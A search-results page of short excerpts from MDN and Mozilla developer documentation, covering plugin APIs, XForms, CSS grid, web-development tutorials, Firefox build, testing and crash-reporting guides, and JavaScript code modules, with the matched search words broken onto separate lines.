frame.html parser/htmlparser/tests/html/184029.html parser/htmlparser/tests/html/183711.html parser/htmlparser/tests/html/18308.html parser/htmlparser/tests/html/17003.html parser/htmlparser/tests/html/15204.html parser/htmlparser/tests/html/149877.html parser/htmlparser/tests/html/142965_1.html parser/htmlparser/tests/html/142965.html parser/htmlparser/tests/html/124788.html parser/htmlparser/tests...
2006-10-27 - Archive of obsolete content
./configure --prefix=/export/home/alex/thunderbird --enable-application=browser --disable-tests --disable-debug -disable-auto-deps --disable-
freetype2 -enable-official-branding --enable-default-toolkit=gtk2 --enable-optimize=-xo5 --enable-static --disable-shared --enable-xft --enable-svg the build tools that he used to build firefox 2 are listed in his posting along with the error that he receives when he tries to build it.
... peter weilbacher responded to alex's posting on the same day, stating that he is not sure what packaging system solaris 10 x86 uses but thinks that he might need to install the developer packages of x and/or xrender and
freetype which should contain the libxrender.* and lib
freetype.* files that are need for the linking.
... moz_cairo_libs = -l$(libxul_dist)/lib -lmozcairo -lmozlibpixman \ -l/usr/sfw/lib -lxrender -l
freetype -lfontconfig october 27: alex replied to masaki posting, stating that he was going to use the work around that he provided and would provide feedback if it was successful or not.
...cédric's posting was about a
french site which had already announced the availablity of ff 2.0 final release and provided download links, even though the release was on october 24.
NPN_SetValue - Archive of obsolete content
nppvpluginkeeplibraryinmemory specifies that the plugin does not want to be unloaded
from memory after the page which initiated it has gone.
... normally, when the browser navigates away
from the page containing the plugin, all plugin instances get an npp_destroy call, and if there are no more instances of the plugin active, the plugin calls its np_shutdown method and the plugin dll gets unloaded
from memory.
...by default, the dll will be unloaded
from memory preceded by an np_shutdown call.
...} so the proper way to call this function
from a plug-in would be: bool bwindowed = false; npn_setvalue(npp, nppvpluginwindowbool, ( void *)bwindowed); see also npp_new, npn_getvalue, npp_setvalue, npp_getvalue ...
NPP_New - Archive of obsolete content
argn[] array of attribute names passed to the plug-in
from the embed tag.
... argv[] array of attribute values passed to the plug-in
from the embed tag.
...the plug-in is responsible for
freeing the memory for the npsaveddata and the buffer it contains.
... if instance data was saved
from a previous instance of the plug-in by the npp_destroy function, it is returned in the saved parameter for the current instance to use.
NPP_Write - Archive of obsolete content
offset offset in bytes of buf
from the beginning of the data in the stream.
... can be used to check stream progress or by range requests
from npn_requestread.
... buf buffer of data, delivered by the stream, that contains len bytes of data offset bytes
from the start of the stream.
... the buffer is allocated by the browser and is deleted after returning
from the function, so the plug-in should make a copy of the data it needs to keep.
NPStream - Archive of obsolete content
url the url that the data in the stream is read
from or written to.
...can be zero for streams of unknown length, such as streams returned
from older ftp servers or generated "on the fly" by cgi scripts.
... headers the response headers
from the host.
...the headers include the http status line and all headers, verbatim as received
from the server.
Encryption and Decryption - Archive of obsolete content
symmetric-key encryption public-key encryption key length and encryption strength symmetric-key encryption with symmetric-key encryption, the encryption key can be calculated
from the decryption key and vice versa.
...a person with an unauthorized symmetric key not only can decrypt messages sent with that key, but can encrypt new messages and send them as if they came
from one of the two parties who were originally using the key.
... the scheme shown in figure 2 lets you
freely distribute a public key, and only you will be able to read data encrypted using this key.
... breaking an algorithm introduces the risk of intercepting, or even impersonating and
fraudulently verifying, private information.
Developing cross-browser and cross-platform pages - Archive of obsolete content
such approach is
fraught with problems and difficulties.
... it requires
from the web author to have knowledge of the capabilities of all current browsers that may visit the page and then to code appropriately for these.
... it requires
from the web author to make assumptions about what will happen with future browsers or to decide to provide future browsers a safe fallback service.
...which is far
from being a reliable and easy task to achieve.
New in JavaScript 1.2 - Archive of obsolete content
the following is a changelog for javascript
from netscape navigator 3.0 to 4.0.
...--> new features in javascript 1.2 new objects you can create objects using literal notation (inspired by dictionary literal syntax
from python 1.x).
... arrays can now be created using literal notation (inspired by list literal syntax
from python 1.x).
... arguments new properties function.arity new methods array.prototype.concat() array.prototype.slice() string.prototype.charcodeat() string.prototype.concat() string.
fromcharcode() string.prototype.match() string.prototype.replace() string.prototype.search() string.prototype.slice() string.prototype.substr() new operators delete equality operators (== and !=) new statements labeled statements switch do...while import export other new features regular expressions signed scripts changed functionality in javascript 1.2 you can now nest functions within functions.
Standards-Compliant Authoring Tools - Archive of obsolete content
creating cross-browser code up
front will save you lots of time quality testing your web content.
...if you're using older versions of tools that rely on old browser bugs or generate browser-specific code, it may be time to upgrade: nvu is a standalone editor created
from the remains of mozilla composer.
... macromedia™ dreamweaver™ cs6 style master and layout master by western civilisation some caveats: it appears that tools currently available
from namo generate ie-specific or netscape 4-specific code that may require extra debugging for compatibility with standards-based browsers.
... newer versions of microsoft
frontpage™ have improved, however be sure not to rely on
frontpage-specific extensions for critical website content or functionality.
XForms Custom Controls Examples - Archive of obsolete content
please feel
free to add your own examples.
... output showing images <binding id="output-image" extends="chrome://xforms/content/xforms.xml#xformswidget-base"> <content> <html:div> <html:img anonid="content"/> </html:div> </content> <implementation implements="nsixformsuiwidget"> <method name="re
fresh"> <body> var img = document.getanonymouselementbyattribute(this, "anonid", "content"); img.setattribute("src", this.stringvalue); return true; </body> </method> </implementation> </binding> output showing xhtml <binding id="output-xhtml" extends="chrome://xforms/content/xforms-xhtml.xml#xformswidget-output"> <content> <children includes="label"/> <xhtml:div class="xf-value" anonid="content"></xhtm...
...l:div> <children/> </content> <implementation implements="nsixformsuiwidget"> <field name="_domparser">null</field> <property name="domparser" readonly="true"> <getter> if (!this._domparser) this._domparser = new domparser(); return this._domparser; </getter> </property> <method name="re
fresh"> <body> // get new value, parse, and import it.
... var val = this.stringvalue; var newdom = this.domparser.parse
fromstring(val, "text/xml"); var impnode = document.importnode(newdom.firstchild, true); // get content node, clean it, and update it var content = document.getanonymouselementbyattribute(this, "anonid", "content"); if (content.firstchild) { content.removechild(content.firstchild); } content.appendchild(impnode); return true; </body> </method> </implementation> </binding> ...
Troubleshooting XForms Forms - Archive of obsolete content
if your are loading your file directly
from the filesystem, make sure that has .xhtml or .xml as the file ending.
... if you are loading the form
from a server, make sure that it serves the files as either application/xhtml+xml or text/xml.
... if you are trying to submit to a different domain than the form is loaded
from, make sure that you have allowed cross-domain submission for that specific "form domain".
...the home page for x
froms buddy is located at: xforms buddy using http proxy you can use the charles firefox extension to view your http session data including http header data.
XForms Output Element - Archive of obsolete content
representations the xforms output element can be represented by the following widgets for the specified data types (or types derived
from these data types): text - default representation for instance data of most types, especially static text (xhtml/xul).
...characteristics the bound instance node is of type xsd:date or a type derived
from it in addition, the appearance attribute must also contain the value "full" firefox 2.0 doesn't currently have any similar widgets available for use with xhtml or xul.
... image if the bound instance node contains an image then you are
free to use this representation to show the image instead of the byte sequence of the image data (fx 3.0 only, xhtml/xul).
... characteristics the bound instance node is of type xsd:anyuri, xsd:base64binary or a type derived
from it either the mediatype attribute is present and contains the image's mimetype or the output element contains a mediatype element which specifies the image's mimetype (for example, image/*).
XForms Upload Element - Archive of obsolete content
introduction provides a means for the user to select a file (see the spec)
from the file system.
... a filter can be specified to limit the types of files that the user can select
from.
... type restrictions the upload element can be bound to a node of type xsd:anyuri, xsd:base64binary or xsd:hexbinary or any type derived
from one of these.
... representations the xforms upload element is represented by visually combining three widgets: a text field that shows the uri of the selected file, a button to open the file picker dialog which allows the user to select a file, and a button to clear the text field and the reference to the file
from the bound node (xhtml only).
Mozilla XForms User Interface - Archive of obsolete content
elements
from the "form controls" group allows users to interact with instance data.
...range allows the user to choose a value
from within a specific range of values.
...allows the user to choose one or multiple values
from a list of pre-defined values (see the spec).
...allows the user to choose a single value
from a list of pre-defined values (see the spec).
Mozilla's DOCTYPE sniffing - Archive of obsolete content
the public identifier "-//w3c//dtd xhtml 1.0
frameset//en".
... the public identifier "-//w3c//dtd html 4.01
frameset//en", with a system identifier.
... the public identifier "-//w3c//dtd html 4.01
frameset//en", without a system identifier.
... the public identifier "-//w3c//dtd html 4.0
frameset//en" (see also test with a system identifier).
RDF in Fifty Words or Less - Archive of obsolete content
the resource description
framework, or "rdf", is really two things.
...there are tons of others, including email messages, usenet news articles (or entire usenet news groups), and search results
from your favorite web crawler, just to name a few.
...fundamentally, it means that parts of the rdf data model can be communicated across network boundaries, and the contents of the graph can dynamically change as information arrives
from a remote service.
...ttp://www.mozilla.org/smart-mail/get-body.cgi?id=4025294 </sm:body> </sm:message> </rdf:description> </rdf:rdf> upon receipt of the above monstrosity, the rdf engine folds the rdf into the graph at the appropriate place, and the tree control that actually implements the ui to the bookmarks is notified that it should begin drawing some icons for the latest message about yam soup
from aunt helga.
Tiles and tilemaps overview - Game development
this results in performance and memory usage gains — big image files containing entire level maps are not needed, as they are constructed by small images or image
fragments multiple times.
... here are examples showing how to translate
from world coordinates to screen coordinates and back again: // these functions assume that the camera points to the top left corner function worldtoscreen(x, y) { return {x: x - camera.x, y: y - camera.y}; } function screentoworld(x,y) { return {x: x + camera.x, y: y + camera.y}; } rendering a trivial method for rendering would just be to iterate over all the tiles (like in static tilemap...
... one simple technique consists of pre-rendering the map in a canvas on its own (when using the canvas api) or on a texture (when using webgl), so tiles don't need to be re-drawn every
frame and rendering can be done in just one blitting operation.
...that means that the map only needs to be redrawn on canvas when the scrolling has advanced one full tile — instead of every
frame — while scrolling.
Paddle and keyboard controls - Game development
the ball is bouncing off the walls
freely and you can watch it indefinitely, but currently there's no interactivity.
...
from that you can get useful information: the key holds the information about the key that was pressed.
...inside the draw() function, we will check if the left or right cursor keys are pressed when each
frame is rendered.
... the only thing left to do now is call the drawpaddle() function
from within the draw() function, to actually print it on the screen.
Build the brick field - Game development
game.load.image('brick', 'img/brick.png'); } you also need to grab the brick image
from github and save it in your /img directory.
... drawing the bricks we will place all the code for drawing the bricks inside an initbricks function to keep it separated
from the rest of the code.
...now every single brick can be placed in its correct place, with padding between each brick, and drawn at an offset
from the left and top canvas edges.
...ing))+brickinfo.offset.top; newbrick = game.add.sprite(brickx, bricky, 'brick'); game.physics.enable(newbrick, phaser.physics.arcade); newbrick.body.immovable = true; newbrick.anchor.set(0.5); bricks.add(newbrick); } } } if you reload index.html at this point, you should see the bricks printed on screen, at an even distance
from one another.
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
a call stack is a mechanism for an interpreter (like the javascript interpreter in a web browser) to keep track of its place in a script that calls multiple functions — what function is currently being run and what functions are called
from within that function, etc.
... delete the sayhi() function
from our call stack list.
... delete the greeting() function
from the call stack list.
...once the function has executed all of its code, it is automatically removed
from the call stack.
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1
fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1
fr); grid-temp...
...in the following example the item is positioned
from column line 1 to column line 3, and
from row line 1 to row line 3.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1
fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="item">item</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1
fr); grid-template-rows: 100px 100px; } .item { grid-column-start: 1; grid-column-end: 3; grid-row-start: 1; grid-row-end: 3; } naming lines the lines created in the explicit grid can be named, by adding the name in square brackets before or after the track sizing informat...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1
fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="item">item</div> </div> .wrapper { display: grid; grid-template-columns: [col1-start] 1
fr [col2-start] 1
fr [col3-start] 1
fr [cols-end]; grid-template-rows: [row1-start] 100px [row2-start] 100px [rows-end]; } .item { grid-column-start: col1-start; grid-column-en...
Grid Tracks - MDN Web Docs Glossary: Definitions of Web-related terms
track sizing in the explicit grid when defining grid tracks using grid-template-columns and grid-template-rows you may use any length unit, and also the flex unit,
fr which indicates a portion of the available space in the grid container.
... the example below demonstrates a grid with three column tracks, one of 200 pixels, the second of 1
fr, the third of 3
fr.
... once the 200 pixels has been subtracted
from the space available in the grid container, the remaining space is divided by 4.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: 200px 1
fr 3
fr; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> track sizing in the implicit grid tracks created in the implicit grid are auto-sized by default, however you can define a size for these tracks using the grid-auto-rows and grid-auto-columns properties.
Mobile accessibility - Learn web development
you can do a two-finger swipe up
from the bottom of the lock screen.
... enter a web page that has a bunch of headings on it, such as the
front page of bbc.co.uk.
... using the rotor when voiceover is turned on, you have a navigation feature called the rotor available to you, which allows you to quickly choose
from a number of common useful options.
... enter a web page that has a bunch of headings on it, such as the
front page of bbc.co.uk.
Accessible multimedia - Learn web development
multimedia and accessibility so far in this module we have looked at a variety of content and what needs to be done to ensure its accessibility, ranging
from simple text content to data tables, images, native controls such as form elements and buttons, and even more complex markup structures (with wai-aria attributes).
...— the basic controls you'd expect
from a media player.
... let's take the video example
from above and add custom controls to them.
...it works out the number of minutes and seconds
from the given currenttime value (which is in seconds), adds a leading 0 if either the minute or second value is less than 10, and then creates the display readout and adds it to the time label.
What do common web layouts contain? - Learn web development
even now with the new focus on mobile web, almost all mainstream webpages are built
from these parts: header visible at the top of every page on the site.
...(even many desktop-users prefer viewing things in small windows rather than full-screen.) the real fun begins when you start mixing them all together: … these are just examples and you're quite
free to lay things out as you want.
... deeper dive let's study some more concrete examples taken
from well-known websites.
...just remember, many people will still browse your site
from desktops, so make your content usable/readable there as well.
What is accessibility? - Learn web development
in general, we must think about our product
from the viewpoints of all our target customers, and adapt accordingly.
... web accessibility in the specific context of the web, accessibility means that anyone can benefit
from your content, regardless of disability, location, technical limitations, or other circumstances.
... let's consider video: hearing impairment how does a hearing-impaired person benefit
from a video?
...
from a design point of view, we suggest learning about designing for all types of users.
What software do I need to build a website? - Learn web development
summary you can download most of the programs you need for web development for
free.
...you can buy space on a server
from various providers (see how much does it cost to do something on the web?).
...for now, here's a short list of
free basic (s)ftp clients: operating system ftp software windows winscp moba xterm filezilla (all os) linux nautilus/files (gnome) dolphin (kde) mac os cyberduck chrome os shiftedit (all os) browsing websites as...
... next steps some of this software is
free, but not all of it.
How do you set up a local testing server? - Learn web development
some browsers (including chrome) will not run async requests (see fetching data
from the server) if you just run the example
from a local file.
...if you are a windows user, you can get an installer
from the python homepage and follow the instructions to install it: go to python.org under the download section, click the link for python "3.xxx".
...here are a few examples: to run python server-side code, you'll need to use a python web
framework.
... to run node.js (javascript) server-side code, you'll need to use raw node or a
framework built on top of it.
HTML forms in legacy browsers - Learn web development
okay, let's admit it, when we said "legacy browser" we all have in mind safari or old versions of internet explorer, but they are far
from the only ones.
... graceful degradation is web developer's best
friend graceful degradation and progressive enhancement are development patterns that allow you to build great stuff by supporting a wide range of browsers at the same time.
... <button> the <button> element suffered
from two issues that are now resolved: a bug in old versions of internet explorer sent the html content available between the starting and ending tag of the <button> element instead of the content of the value attribute when clicked.
...as you can see
from the complexity of the property compatibility table for form widgets article, it's very difficult.
Sending forms through JavaScript - Learn web development
a form is not always a form with progressive web apps, single page apps, and
framework based apps, it's common to use html forms to send data without loading a new document when response data is received.
... many modern uis only use html forms to collect input
from the user, and not for data submission.
... if you control the
front-end (the code that's executed in the browser) and the back-end (the code which is executed on the server), you can send json/xml and process them however you want.
...to learn more about the filereader api, see using files
from web applications.
Handling text — strings in JavaScript - Learn web development
concatenation in context let's have a look at concatenation being used in action — here's an example
from earlier in the course: <button>press me</button> const button = document.queryselector('button'); button.onclick = function() { let name = prompt('what is your name?'); alert('hello ' + name + ', nice to see you!'); } here we're using a window.prompt() function in line 4, which asks the user to answer a question via a popup dialog box then stores the text they enter inside a given var...
...we then use a window.alert() function in line 5 to display another popup containing a string we've assembled
from two string literals and the name variable, via concatenation.
...let's try it in our console: '
front ' + 242; you might expect this to return an error, but it works just fine.
...note that this also requires knowledge
from the next article, so you might want to read that first.
JavaScript First Steps - Learn web development
looking to become a
front-end web developer?
...in this first article we will look at javascript
from a high level, answering questions such as "what is it?", and "what is it doing?", and making sure you are comfortable with javascript's purpose.
...never fear — this article aims to save you
from tearing your hair out over such problems by providing you with some simple tips on how to find and fix errors in javascript programs.
... storing the information you need — variables after reading the last couple of articles you should now know what javascript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like
from a high level.
JavaScript — Dynamic client-side scripting - Learn web development
looking to become a
front-end web developer?
... introducing javascript objects in javascript, most things are objects,
from core javascript features like strings and arrays to the browser apis built on top of javascript.
... asynchronous javascript in this module we take a look at asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources
from a server.
... client-side web apis when writing client-side javascript for web sites or applications, you won't go very far before you start to use apis — interfaces for manipulating different aspects of the browser and operating system the site is running on, or even data
from other web sites or services.
Web performance - Learn web development
this article introduces the components of performance,
from web page loading and rendering, including how your content makes it into your users browser to be viewed, to what groups of people we need to consider when thinking about performance, how do users perceive performance?
... multimedia: images the lowest hanging
fruit of web performance is often media optimization.
... multimedia: video the lowest hanging
fruit of web performance is often media optimization.
... in this article we discuss the impact video content has on performance, and cover tips like removing audio tracks
from background videos can improve performance.
Ember app structure and componentization - Learn web development
previous overview: client-side javascript
frameworks next in this article we'll get right on with planning out the structure of our todomvc ember app, adding in the html for it, and then breaking that html structure into components.
...--}} <welcomepage /> {{!-- feel
free to remove this!
... when you save application.hbs, the development server you started earlier will automatically rebuild the app and re
fresh the browser.
... previous overview: client-side javascript
frameworks next in this module introduction to client-side
frameworks
framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with embe...
Styling Vue components with CSS - Learn web development
previous overview: client-side javascript
frameworks next the time has finally come to make our app look a bit nicer.
...since our form denotes a specific section of our page, it could benefit
from an <h2> element.
...this is where the scoped attribute can be useful — this attaches a unique html data attribute selector to all of your styles, preventing them
from colliding globally.
... previous overview: client-side javascript
frameworks next in this module introduction to client-side
frameworks
framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with embe...
omni.ja (formerly omni.jar)
firefox and thunderbird achieve performance improvements by moving many of their internal parts
from being standalone files or sets of jar files into just one jar file called omni.ja; this reduces the amount of i/o needed to load the application.
...this change was needed to prevent firefox
from becoming corrupted.
... inspecting and repacking omni.ja note: when extracting omni.ja, you may incorrectly get false warnings
from some virus protection software.
...the correct command to pack omni.ja is: zip -0dxqr omni.ja * the working directory must be at the root directory of the files
from the omni.ja file.
Mozilla's Section 508 Compliance
n 508 requirements and how far along mozilla seamonkey rv1.8a4 is with each one: requirement windows linux/unix mac os requirement windows linux/unix mac os (a) when software is designed to run on a system that has a keyboard, product functions shall be executable
from a keyboard where the function itself or the result of performing a function can be discerned textually.
... (k) software shall not use flashing or blinking text, objects, or other elements having a flash or blink
frequency greater than 2 hz and lower than 55 hz.
...an extension called ad block helps remove extra noisy content
from web pages that clutter accessibility.
...window-eyes support in testing (must use very latest 1.8 alpha testing builds and special build
from window-eyes).
Adding a new CSS property
also, it's very important not to touch the computed style data at all when there's no specified data provided (ecssunit_null); touching the computed style data in this case would break partial computation based on a start struct, which is when we computed style data on the basis of computed data we've already computed
from a subset of the style rules that we're currently computing
from.
... see nschangehint.h for documentation (or if that's not sufficient, see restylemanager::processrestyled
frames).
... (we should also make this part of adding properties much more automated and make the code smaller.) animation if the existing animation behaviors in nsstyleanimation aren't sufficient for how this new property is interpolated (as its specification should describe), then you'll need to implement a new behavior type in nsstyleanimation and reference it
from nscssproplist.h.
... this should probably be in a separate patch
from the basic addition of the property.
Browser chrome tests
the browser chrome test suite is an automated testing
framework designed to allow testing of application chrome windows using javascript.
... it currently allows you to run javascript code in the same scope as the main firefox browser window and report results using the same functions as the mochitest test
framework.
...call waitforexplicitfinish()
from test() if you want to delay reporting a result until after test() has returned.
...in a timeout, event handler, etc) will not be caught, but will result in a timed out test if they prevent finish()
from being called.
Simple SeaMonkey build
minimum and recommended hardware requirements for mozilla development are: recommended: 8gb of ram (having only 4gb ram and 4gb swap may give memory errors during compile) 35 gb
free disk space.
... this will accomodate visual studio 2013 community edition, the required sdks, the mozillabuild package, the mercurial source repository and enough
free disk space to compile.
... if you decided on the windows 8 sdk, you also need the outlook 2010 mapi header files
from microsoft.
... on windows, the above commands will create the comm-central directory in %userprofile% which may be some subfolder of c:\documents and settings\ on systems upgraded
from xp or below.
ESLint
in order to help people write standard-compliant code
from the start and avoid wasting time during code reviews, a set of eslint configuration files have been added to the code base so that javascript can be analyzed automatically.
... for example: in windows 10, if you have installed node.js on "c:\nodejs", then the command should look like: export path=$path:/c/nodejs enabling eslint for a new directory remove the directory
from .eslintignore (in the base directory of the repository) fix errors that occur when running ./mach eslint path/to/dir, see also the no-undef rules below.
... my script is a
frame-script, or includes items that loaded into content scripts: add a line to tell eslint to use the
frame-script environment: /* eslint-env mozilla/
frame-script */ my script is a worker: add a line to tell eslint to use the worker environment: /* eslint-env worker */ or, to use a chrome worker environment: /* eslint-env mozilla/chrome-worker */ my file use...
... you'll need to include the following just above it: /* import-globals-
from relative/path/to/file.js */ do_check_eq, add_task not defined in a test directory.
Reviewer Checklist
if your object can be gotten
from somewhere without creating it in the process, it needs to be wrapper-cached.
... privacy issues there should be no logging of urls or content
from which urls may be inferred.
... [fennec: if your custom view does animations, it's better to clean up runnables in ondetach
fromwindow().] ensure all file handles and other closeable resources are closed appropriately.
... android apis added since
froyo should be guarded by a version check.
Developer guide
obsolete build caveats and tips a place to put build tips which are no longer relevant to building the latest version of the code
from main but are relevant when building old codebases.
... firefox source docs web-hosted documentation built
from the mozilla-central source code.
... taskcluster taskcluster is the task execution
framework that supports mozilla's continuous integration and release processes.
... mozilla platform development cheat sheet (archive.org) brian bondy's list of
frequently referenced information for platform developers.
mozbrowserfindchange
the mozbrowserfindchange event is fired when a search method is invoked in the browser <i
frame> content.
... this includes htmli
frameelement.findall(), htmli
frameelement.findnext(), and htmli
frameelement.clearmatch().
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowserfindchange", function(event) { console.log("currently highlighted: " + event.details.activematchordinal + " out of " + event.details.numberofmatches); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenw...
mozbrowsericonchange
<link rel="icon"> or <link rel="apple-touch-icon">) is available in the browser <i
frame>'s content.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
...the any keyword can also be used, to represent "any size." rel a domstring representing the rel attribute value
from the <link> element used to link to the icon.
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowsericonchange", function( event ) { console.log("the url of the new favicon is:" + event.details.href); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserselectionstatechanged
the mozbrowserselectionstatechanged event is fired when the text selected inside the browser <i
frame> content changes.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... zoomfactor a number representing the current zoom factor in the child
frame.
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowserselectionstatechanged", function( event ) { if(event.details.visible) { console.log("the current selection is visible."); } else { console.log("the current selection is not visible."); } }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserl...
mozbrowservisibilitychange
the mozbrowservisibilitychange event is fired when the visibility state of the current browser i
frame <i
frame> changes, for example due to a call to setvisible().
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: visible a boolean that indicates whether the browser i
frame is visible (true) or not (false).
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowservisibilitychange", function( event ) { if(event.details.visible) { console.log("the browser is visible."); } else { console.log("the browser is hidden."); } }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange ...
Gecko Keypress Event
when the accel key is down, the charcode of a keypress event may be replaced with a character
from a latin keyboard layout only when the original character is not an ascii character.
...gecko uses the character
from this keyboard layout for the ctrl key also.
... during accel key handling, when shift is not down and the character without shift is not a numeral but the character with shift is a numeral, the key may be one of the numeral keys in the top row of a
french azerty keyboard layout (or similar).
... because numerals are common in short cuts, the numeral
from the key should be considered as a low priority shortcut key candidate (bug 429219).
How to get a stacktrace for a bug report
requirements you need a binary build of firefox
from mozilla.org.
... mozilla's crash report server currently only has debug information for mozilla builds and thus the crash reporter cannot work if you use a build
from a linux distribution or if you compile
from source code.
...crash reports are accessible
from all firefox profiles, so if a new profile does not crash you can use it to access them through "about:crashes" as above.
... ubuntu: instructions
from the ubuntu team opensuse: general instructions
from opensuse fedora: capturing stack traces gentoo: debugging using gdb ...
How to investigate Disconnect failures
usually disconnects happens when a modal dialog
freezes and we cannot close it sp we close firefox with the modal
frozen.
... the event viewer can be found on windows: computer management > event viewer > windows logs > application and here we look for errors that overlapped with the test run; we cannot see the
freezes (the main thread is blocked).
... crashes (not
freezes) if we have a crash we always should submit it.
...
from there use “signature” as summary for bugzilla bug.
How to Report a Hung Firefox
(if you're experiencing high cpu usage and firefox eventually recovers
from a hang, you should try the instructions at reporting a performance problem instead.) is the rest of your system busy (high cpu or memory usage, or high disk activity)?
... all os as long as you do not need to be in firerfox's safe mode, a user
friendly method of crashing firefox is to install and use the addon crash me now!
... getservice(ci.nsiwindowmediator); let win = wm.getmostrecentwindow("navigator:browser"); let browser = win.gbrowser.selectedbrowser; if (browser.isremotebrowser) { browser.messagemanager.load
framescript('data:,let appinfo = components.classes["@mozilla.org/xre/app-info;1"];if (appinfo && appinfo.getservice(components.interfaces.nsixulruntime).processtype != components.interfaces.nsixulruntime.process_type_default) {components.utils.import("resource://gre/modules/ctypes.jsm");var zero = new ctypes.intptr_t(8);var badptr = ctypes.cast(zero, ctypes.pointertype(ctypes.int32_t));var crash = ...
...this is only useful if you have firefox debug symbols, which are available on windows
from the mozilla symbol server.
Creating a New Protocol
creating the implementation the c++ implementation inherits
from the abstract ipdl-generated classes pnewprotocolparent and pnewprotocolchild.
...the method signatures can be read
from the generated pnewprotocolparent.h and pnewprotocolchild.h headers.
... writing the tests protocols which are managed by pbrowser must be tested using the mochitest-chrome test
framework with a <browser remote="true">.
...it may be possible to test protocols unrelated to a particular window using the xpcshell testing
framework, which has additional primitives in electrolysis for launching and running js commands in a content process.
Internationalized Domain Names (IDN) Support in Mozilla Browsers
rfc 3490 (internationalizing domain names in applications (idna)) defines characters used in idn to be drawn
from unicode standard 3.2.
... how mozilla browsers handle non-ascii domain names unicode and nameprep when mozilla receives idn input
from the user via the location bar or a request to process non-ascii host name links, it first turns them into unicode, then normalizes the input string to make it conform to general uri requirement.
... the final step of the process is the affixing of the ace prefix to the output string
from the nameprep/stringprep and punycode processing.
...this will change the default
from puncycode to race.
Download
progress read only number progress percent,
from 0 to 100.
... note: if you need to start a new download
from the same source, rather than restarting a failed or canceled one, you should create a separate download object with the same source as the current one.
...if the content type is not available, an attempt will be made to obtain it
from the extension of the target file.
... note: this method should be used in place of the cancel() and removepartialdata() methods while shutting down or disposing of the download object, to prevent other callers
from interfering with the operation.
JNI.jsm
a note about firefox for android, this jsm file is already globally imported and is available
from the privileged window scope as window.jni.
... there also exists a jenv variable in the window scope, so if you need to run jni
from the global scope, use a different variable name then jenv.
...unlike c
from js-ctypes, defining constants is not a manual magic number method in jni, it is declared the same way we define functions, except in jni they are called fields.
... alength the number of elements to copy
from astart.
Promise.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promise.jsm"); note: a preliminary promise module is also available starting
from gecko 17, though it didn't conform to the promises/a+ proposal until gecko 25: components.utils.import("resource://gre/modules/commonjs/promise/core.js"); // gecko 17 to 20 components.utils.import("resource://gre/modules/commonjs/sdk/core/promise.js"); // gecko 21 to 24 this implementation also includes helper functions that are specific to the add-on sdk.
... while you may still import this module
from the above paths, the recommended way for loading it is through the add-on sdk loader.
... introduction for an introduction to promises, you may start
from the add-on sdk documentation, keeping in mind that only the core subset is implemented in this module.
... rejected, if an error prevented the final value
from being determined.
Using JavaScript code modules
any javascript item named in exported_symbols will be exported
from the module and injected into the importing scope.
... for example: components.utils.import("resource://app/my_module.jsm"); alert(foo()); // displays "foo" alert(bar.size + 3); // displays "6" alert(dummy); // displays "dummy is not defined" because 'dummy' was not exported
